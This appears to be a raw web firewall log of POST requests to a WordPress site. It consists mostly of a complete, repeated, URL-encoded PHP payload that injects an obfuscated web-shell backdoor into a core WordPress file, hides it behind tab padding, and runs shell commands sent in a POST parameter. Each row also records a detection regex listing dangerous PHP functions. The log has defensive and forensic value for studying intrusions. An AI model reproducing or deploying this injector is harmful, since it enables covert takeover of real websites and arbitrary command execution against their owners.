0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:6309\n\nvx=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Utility\/CaseInsensitiveDictionary.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524tkn1%2520%253D%2520%2527973%2527%253B%2524tkn2%2520%253D%2520%2527746%2527%253B%2524tkn3%2520%253D%2520%2527865%2527%253B%2524tkn4%2520%253D%2520%2527c5f%2527%253B%2524tkn5%2520%253D%2520%2527706%2527%253B%2524tkn6%2520%253D%2520%2527173%2527%253B%2524tkn7%2520%253D%2520%2527727%2527%253B%2524tkn8%2520%253D%2520%2527737%2527%253B%2524tkn9%2520%253D%2520%2527745%2527%253B%2524tkn10%2520%253D%2520%2527e74%2527%253B%2524tkn11%2520%253D%2520%25276f7%2527%253B%2524tkn12%2520%253D%2520%2527696%2527%253B%2524tkn13%2520%253D%2520%2527e69%2527%253B%2524tkn14%2520%253D%2520%2527961%2527%253B%2524tkn15%2520%253D%2520%2527656%2527%253B%2524secure_access1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2524tkn1%2520.%2520%2524tkn2%2520.%2520%252756d%2527%2529%253B%2524secure_access2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527%2520.%2520%2524tkn3%2520.%2520%25276c6%2527%2520.%2520%2524tkn4%2520.%2520%2527657%2527%2520.%2520%2527865%2527%2529%253B%2524secure_access3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527%2520.%2520%2524tkn3%2529%253B%2524secure_access4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn5%2520.%2520%2524tkn6%2520.%2520%2527737%2527%2520.%2520%2527468%2527%2520.%2520%2524tkn7%2529%253B%2524secure_access5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2527f70%2527%2520.%2520%2527656%2527%2529%253B%2524secure_access6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn8%2520.%2520%2527472%2527%2520.%2520%2527656%2527%2520.%2520%252716d%2527%2520.%2520%25275f6%2527%2520.%2520%2527765%2527%2520.%2520%2524tkn9%2520.%2520%2527f63%2527%2520.%2520%25276f6%2527%2520.%2520%2527e74%2527%2520.%2520%2527656%2527%2520.%2520%2524tkn10%2529%253B%2524secure_access7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%252736c%2527%2520.%2520%2524tkn11%2520.%2520%2527365%2527%2529%253B%2524initialized%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn12%2520.%2520%2524tkn13%2520.%2520%2527746%2527%2520.%2520%2524tkn14%2520.%2520%25276c6%2527%2520.%2520%252797a%2527%2520.%2520%2524tkn15%2529%253Bif%2528isset%2528%2524_POST%255B%2524initialized%255D%2529%2529%257B%2524initialized%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524initialized%255D%2529%253Bif%2528function_exists%2528%2524secure_access1%2529%2529%257B%2524secure_access1%2528%2524initialized%2529%253B%257Delseif%2528function_exists%2528%2524secure_access2%2529%2529%257Bprint%2520%2524secure_access2%2528%2524initialized%2529%253B%257Delseif%2528function_exists%2528%2524secure_access3%2529%2529%257B%2524secure_access3%2528%2524initialized%252C%2524property_set_mrk%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524property_set_mrk%2529%253B%257Delseif%2528function_exists%2528%2524secure_access4%2529%2529%257B%2524secure_access4%2528%2524initialized%2529%253B%257Delseif%2528function_exists%2528%2524secure_access5%2529%2526%2526function_exists%2528%2524secure_access6%2529%2526%2526function_exists%2528%2524secure_access7%2529%2529%257B%2524res_marker%253D%2524secure_access5%2528%2524initialized%252C%2522r%2522%2529%253Bif%2528%2524res_marker%2529%257B%2524element_value%253D%2524secure_access6%2528%2524res_marker%2529%253B%2524secure_access7%2528%2524res_marker%2529%253Bprint%2520%2524element_value%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:44:16","129.121.41.228","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Lo:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Utility\/CaseInsensitiveDictionary.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524tkn1%2520%253D%2520%2527973%2527%253B%2524tkn2%2520%253D%2520%2527746%2527%253B%2524tkn3%2520%253D%2520%2527865%2527%253B%2524tkn4%2520%253D%2520%2527c5f%2527%253B%2524tkn5%2520%253D%2520%2527706%2527%253B%2524tkn6%2520%253D%2520%2527173%2527%253B%2524tkn7%2520%253D%2520%2527727%2527%253B%2524tkn8%2520%253D%2520%2527737%2527%253B%2524tkn9%2520%253D%2520%2527745%2527%253B%2524tkn10%2520%253D%2520%2527e74%2527%253B%2524tkn11%2520%253D%2520%25276f7%2527%253B%2524tkn12%2520%253D%2520%2527696%2527%253B%2524tkn13%2520%253D%2520%2527e69%2527%253B%2524tkn14%2520%253D%2520%2527961%2527%253B%2524tkn15%2520%253D%2520%2527656%2527%253B%2524secure_access1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2524tkn1%2520.%2520%2524tkn2%2520.%2520%252756d%2527%2529%253B%2524secure_access2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527%2520.%2520%2524tkn3%2520.%2520%25276c6%2527%2520.%2520%2524tkn4%2520.%2520%2527657%2527%2520.%2520%2527865%2527%2529%253B%2524secure_access3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527%2520.%2520%2524tkn3%2529%253B%2524secure_access4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn5%2520.%2520%2524tkn6%2520.%2520%2527737%2527%2520.%2520%2527468%2527%2520.%2520%2524tkn7%2529%253B%2524secure_access5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2527f70%2527%2520.%2520%2527656%2527%2529%253B%2524secure_access6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn8%2520.%2520%2527472%2527%2520.%2520%2527656%2527%2520.%2520%252716d%2527%2520.%2520%25275f6%2527%2520.%2520%2527765%2527%2520.%2520%2524tkn9%2520.%2520%2527f63%2527%2520.%2520%25276f6%2527%2520.%2520%2527e74%2527%2520.%2520%2527656%2527%2520.%2520%2524tkn10%2529%253B%2524secure_access7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%252736c%2527%2520.%2520%2524tkn11%2520.%2520%2527365%2527%2529%253B%2524initialized%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn12%2520.%2520%2524tkn13%2520.%2520%2527746%2527%2520.%2520%2524tkn14%2520.%2520%25276c6%2527%2520.%2520%252797a%2527%2520.%2520%2524tkn15%2529%253Bif%2528isset%2528%2524_POST%255B%2524initialized%255D%2529%2529%257B%2524initialized%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524initialized%255D%2529%253Bif%2528function_exists%2528%2524secure_access1%2529%2529%257B%2524secure_access1%2528%2524initialized%2529%253B%257Delseif%2528function_exists%2528%2524secure_access2%2529%2529%257Bprint%2520%2524secure_access2%2528%2524initialized%2529%253B%257Delseif%2528function_exists%2528%2524secure_access3%2529%2529%257B%2524secure_access3%2528%2524initialized%252C%2524property_set_mrk%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524property_set_mrk%2529%253B%257Delseif%2528function_exists%2528%2524secure_access4%2529%2529%257B%2524secure_access4%2528%2524initialized%2529%253B%257Delseif%2528function_exists%2528%2524secure_access5%2529%2526%2526function_exists%2528%2524secure_access6%2529%2526%2526function_exists%2528%2524secure_access7%2529%2529%257B%2524res_marker%253D%2524secure_access5%2528%2524initialized%252C%2522r%2522%2529%253Bif%2528%2524res_marker%2529%257B%2524element_value%253D%2524secure_access6%2528%2524res_marker%2529%253B%2524secure_access7%2528%2524res_marker%2529%253Bprint%2520%2524element_value%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGT8vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:6309\n\nLo=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Utility\/CaseInsensitiveDictionary.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524tkn1%2520%253D%2520%2527973%2527%253B%2524tkn2%2520%253D%2520%2527746%2527%253B%2524tkn3%2520%253D%2520%2527865%2527%253B%2524tkn4%2520%253D%2520%2527c5f%2527%253B%2524tkn5%2520%253D%2520%2527706%2527%253B%2524tkn6%2520%253D%2520%2527173%2527%253B%2524tkn7%2520%253D%2520%2527727%2527%253B%2524tkn8%2520%253D%2520%2527737%2527%253B%2524tkn9%2520%253D%2520%2527745%2527%253B%2524tkn10%2520%253D%2520%2527e74%2527%253B%2524tkn11%2520%253D%2520%25276f7%2527%253B%2524tkn12%2520%253D%2520%2527696%2527%253B%2524tkn13%2520%253D%2520%2527e69%2527%253B%2524tkn14%2520%253D%2520%2527961%2527%253B%2524tkn15%2520%253D%2520%2527656%2527%253B%2524secure_access1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2524tkn1%2520.%2520%2524tkn2%2520.%2520%252756d%2527%2529%253B%2524secure_access2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527%2520.%2520%2524tkn3%2520.%2520%25276c6%2527%2520.%2520%2524tkn4%2520.%2520%2527657%2527%2520.%2520%2527865%2527%2529%253B%2524secure_access3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527%2520.%2520%2524tkn3%2529%253B%2524secure_access4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn5%2520.%2520%2524tkn6%2520.%2520%2527737%2527%2520.%2520%2527468%2527%2520.%2520%2524tkn7%2529%253B%2524secure_access5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2527f70%2527%2520.%2520%2527656%2527%2529%253B%2524secure_access6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn8%2520.%2520%2527472%2527%2520.%2520%2527656%2527%2520.%2520%252716d%2527%2520.%2520%25275f6%2527%2520.%2520%2527765%2527%2520.%2520%2524tkn9%2520.%2520%2527f63%2527%2520.%2520%25276f6%2527%2520.%2520%2527e74%2527%2520.%2520%2527656%2527%2520.%2520%2524tkn10%2529%253B%2524secure_access7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%252736c%2527%2520.%2520%2524tkn11%2520.%2520%2527365%2527%2529%253B%2524initialized%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn12%2520.%2520%2524tkn13%2520.%2520%2527746%2527%2520.%2520%2524tkn14%2520.%2520%25276c6%2527%2520.%2520%252797a%2527%2520.%2520%2524tkn15%2529%253Bif%2528isset%2528%2524_POST%255B%2524initialized%255D%2529%2529%257B%2524initialized%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524initialized%255D%2529%253Bif%2528function_exists%2528%2524secure_access1%2529%2529%257B%2524secure_access1%2528%2524initialized%2529%253B%257Delseif%2528function_exists%2528%2524secure_access2%2529%2529%257Bprint%2520%2524secure_access2%2528%2524initialized%2529%253B%257Delseif%2528function_exists%2528%2524secure_access3%2529%2529%257B%2524secure_access3%2528%2524initialized%252C%2524property_set_mrk%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524property_set_mrk%2529%253B%257Delseif%2528function_exists%2528%2524secure_access4%2529%2529%257B%2524secure_access4%2528%2524initialized%2529%253B%257Delseif%2528function_exists%2528%2524secure_access5%2529%2526%2526function_exists%2528%2524secure_access6%2529%2526%2526function_exists%2528%2524secure_access7%2529%2529%257B%2524res_marker%253D%2524secure_access5%2528%2524initialized%252C%2522r%2522%2529%253Bif%2528%2524res_marker%2529%257B%2524element_value%253D%2524secure_access6%2528%2524res_marker%2529%253B%2524secure_access7%2528%2524res_marker%2529%253Bprint%2520%2524element_value%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:44:19","78.142.18.172","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> dB:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Utility\/CaseInsensitiveDictionary.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524tkn1%2520%253D%2520%2527973%2527%253B%2524tkn2%2520%253D%2520%2527746%2527%253B%2524tkn3%2520%253D%2520%2527865%2527%253B%2524tkn4%2520%253D%2520%2527c5f%2527%253B%2524tkn5%2520%253D%2520%2527706%2527%253B%2524tkn6%2520%253D%2520%2527173%2527%253B%2524tkn7%2520%253D%2520%2527727%2527%253B%2524tkn8%2520%253D%2520%2527737%2527%253B%2524tkn9%2520%253D%2520%2527745%2527%253B%2524tkn10%2520%253D%2520%2527e74%2527%253B%2524tkn11%2520%253D%2520%25276f7%2527%253B%2524tkn12%2520%253D%2520%2527696%2527%253B%2524tkn13%2520%253D%2520%2527e69%2527%253B%2524tkn14%2520%253D%2520%2527961%2527%253B%2524tkn15%2520%253D%2520%2527656%2527%253B%2524secure_access1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2524tkn1%2520.%2520%2524tkn2%2520.%2520%252756d%2527%2529%253B%2524secure_access2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527%2520.%2520%2524tkn3%2520.%2520%25276c6%2527%2520.%2520%2524tkn4%2520.%2520%2527657%2527%2520.%2520%2527865%2527%2529%253B%2524secure_access3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527%2520.%2520%2524tkn3%2529%253B%2524secure_access4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn5%2520.%2520%2524tkn6%2520.%2520%2527737%2527%2520.%2520%2527468%2527%2520.%2520%2524tkn7%2529%253B%2524secure_access5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2527f70%2527%2520.%2520%2527656%2527%2529%253B%2524secure_access6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn8%2520.%2520%2527472%2527%2520.%2520%2527656%2527%2520.%2520%252716d%2527%2520.%2520%25275f6%2527%2520.%2520%2527765%2527%2520.%2520%2524tkn9%2520.%2520%2527f63%2527%2520.%2520%25276f6%2527%2520.%2520%2527e74%2527%2520.%2520%2527656%2527%2520.%2520%2524tkn10%2529%253B%2524secure_access7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%252736c%2527%2520.%2520%2524tkn11%2520.%2520%2527365%2527%2529%253B%2524initialized%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn12%2520.%2520%2524tkn13%2520.%2520%2527746%2527%2520.%2520%2524tkn14%2520.%2520%25276c6%2527%2520.%2520%252797a%2527%2520.%2520%2524tkn15%2529%253Bif%2528isset%2528%2524_POST%255B%2524initialized%255D%2529%2529%257B%2524initialized%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524initialized%255D%2529%253Bif%2528function_exists%2528%2524secure_access1%2529%2529%257B%2524secure_access1%2528%2524initialized%2529%253B%257Delseif%2528function_exists%2528%2524secure_access2%2529%2529%257Bprint%2520%2524secure_access2%2528%2524initialized%2529%253B%257Delseif%2528function_exists%2528%2524secure_access3%2529%2529%257B%2524secure_access3%2528%2524initialized%252C%2524property_set_mrk%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524property_set_mrk%2529%253B%257Delseif%2528function_exists%2528%2524secure_access4%2529%2529%257B%2524secure_access4%2528%2524initialized%2529%253B%257Delseif%2528function_exists%2528%2524secure_access5%2529%2526%2526function_exists%2528%2524secure_access6%2529%2526%2526function_exists%2528%2524secure_access7%2529%2529%257B%2524res_marker%253D%2524secure_access5%2528%2524initialized%252C%2522r%2522%2529%253Bif%2528%2524res_marker%2529%257B%2524element_value%253D%2524secure_access6%2528%2524res_marker%2529%253B%2524secure_access7%2528%2524res_marker%2529%253Bprint%2520%2524element_value%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMRVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:6309\n\ndB=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Utility\/CaseInsensitiveDictionary.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524tkn1%2520%253D%2520%2527973%2527%253B%2524tkn2%2520%253D%2520%2527746%2527%253B%2524tkn3%2520%253D%2520%2527865%2527%253B%2524tkn4%2520%253D%2520%2527c5f%2527%253B%2524tkn5%2520%253D%2520%2527706%2527%253B%2524tkn6%2520%253D%2520%2527173%2527%253B%2524tkn7%2520%253D%2520%2527727%2527%253B%2524tkn8%2520%253D%2520%2527737%2527%253B%2524tkn9%2520%253D%2520%2527745%2527%253B%2524tkn10%2520%253D%2520%2527e74%2527%253B%2524tkn11%2520%253D%2520%25276f7%2527%253B%2524tkn12%2520%253D%2520%2527696%2527%253B%2524tkn13%2520%253D%2520%2527e69%2527%253B%2524tkn14%2520%253D%2520%2527961%2527%253B%2524tkn15%2520%253D%2520%2527656%2527%253B%2524secure_access1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2524tkn1%2520.%2520%2524tkn2%2520.%2520%252756d%2527%2529%253B%2524secure_access2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527%2520.%2520%2524tkn3%2520.%2520%25276c6%2527%2520.%2520%2524tkn4%2520.%2520%2527657%2527%2520.%2520%2527865%2527%2529%253B%2524secure_access3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527%2520.%2520%2524tkn3%2529%253B%2524secure_access4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn5%2520.%2520%2524tkn6%2520.%2520%2527737%2527%2520.%2520%2527468%2527%2520.%2520%2524tkn7%2529%253B%2524secure_access5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2527f70%2527%2520.%2520%2527656%2527%2529%253B%2524secure_access6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn8%2520.%2520%2527472%2527%2520.%2520%2527656%2527%2520.%2520%252716d%2527%2520.%2520%25275f6%2527%2520.%2520%2527765%2527%2520.%2520%2524tkn9%2520.%2520%2527f63%2527%2520.%2520%25276f6%2527%2520.%2520%2527e74%2527%2520.%2520%2527656%2527%2520.%2520%2524tkn10%2529%253B%2524secure_access7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%252736c%2527%2520.%2520%2524tkn11%2520.%2520%2527365%2527%2529%253B%2524initialized%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn12%2520.%2520%2524tkn13%2520.%2520%2527746%2527%2520.%2520%2524tkn14%2520.%2520%25276c6%2527%2520.%2520%252797a%2527%2520.%2520%2524tkn15%2529%253Bif%2528isset%2528%2524_POST%255B%2524initialized%255D%2529%2529%257B%2524initialized%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524initialized%255D%2529%253Bif%2528function_exists%2528%2524secure_access1%2529%2529%257B%2524secure_access1%2528%2524initialized%2529%253B%257Delseif%2528function_exists%2528%2524secure_access2%2529%2529%257Bprint%2520%2524secure_access2%2528%2524initialized%2529%253B%257Delseif%2528function_exists%2528%2524secure_access3%2529%2529%257B%2524secure_access3%2528%2524initialized%252C%2524property_set_mrk%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524property_set_mrk%2529%253B%257Delseif%2528f